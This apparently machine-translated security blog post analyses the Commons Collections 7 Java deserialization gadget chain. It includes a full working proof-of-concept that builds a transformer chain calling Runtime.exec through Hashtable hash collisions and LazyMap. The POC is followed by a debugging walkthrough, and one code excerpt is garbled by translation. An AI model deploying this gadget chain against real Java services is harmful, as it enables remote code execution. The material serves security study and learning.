Analysis of common collections 7 for Java Security

Analysis of common collections 7 for Java Security

0x00 Preface

The chain explained in this article is the last CC chain in the native ysoserial, but it is not. Later, with the later leaders mining and using the chain, the chain of cc8, 9 and 10 was born and built into ysoserial. In this chain, it is similar to cc6, but CC7 uses hashtable as the entry point for deserialization.

0x01 POC analysis

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException,illegalaccessexception,IOException,ClassNotFoundException {


            // Reusing transformer chain and LazyMap gadgets from prevIoUs payloads
            final String[] execArgs = new String[]{"calc"};

            final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

            final Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),new InvokerTransformer("getmethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},execArgs),new ConstantTransformer(1)};

            Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes,in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1,transformerChain);
            lazyMap1.put("yy",1);

            Map lazyMap2 = LazyMap.decorate(innerMap2,transformerChain);
            lazyMap2.put("zZ",1);

            // Use the colliding Maps as keys in Hashtable
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1,1);
            hashtable.put(lazyMap2,2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain,"iTransformers",transformers);

            // Needed to ensure hash collision after prevIoUs manipulations
            lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
        }
    }

Here is still to extract important code to make a simplification.

Discard the repeated parts, and the following is divided into three sections of code for analysis.

			Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes,1);
			Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1,2);

In this code, two hashmaps are instantiated, and lazymap is used for the two hashmaps, transforming chain and HashMap

Bind together. Then they are added to the hashtable respectively, but the previous ones are used once. Why do you need to repeat the operation twice?

Let's analyze it.

The reconstitutionput method of hashtable is called by traversal,

When called for the first time, it will not go into the reconstitutionput method for loop, because the content of tab [index] is empty, and tab [index] will be assigned below. When reconstitutionput is called the second time, there is content in the tab, and we have the opportunity to enter the for loop to call the equals method. This is why put is called twice.

 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
		lazyMap2.remove("yy");

In fact, the first three sections of code are to prevent local command execution during serialization. First define an empty one, and then use reflection to replace its itransformers.

In fact, the most important thing is lazymap2 Remove this step. As for why you need to remove the value on the last side, you can see it in the get method of lazymap.

If the method is not removed, it will not go into the code block of the judgment condition. The put method will be called again later.

0x02 POC commissioning

Still, a breakpoint is set at the replication point of readobjetc, which uses readobjetc of hashtable as the entry point.

The reconstitutionput method will be called in it. Follow up.

As mentioned earlier, the tab [index] is empty during the first call. You need to follow up to the execution of step 2 to check.

During the second execution, it will go to the for loop and call the equals method of the key. Follow up on this method.

The equals method of abstractmapdecorator will call this Equals of map. Follow up.

The following code will continue to call the m.get method, where m is the lazymap object.

In the end, we came to lazymap In fact, the step of get is relatively clear. The following chains are the same as those in the previous analysis. No analysis here.

0x03 end

After analyzing this series of CC chains, we plan to analyze the deserialization vulnerabilities such as fastjson, Shiro and Weblogic, and then start writing the deserialization tool set.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>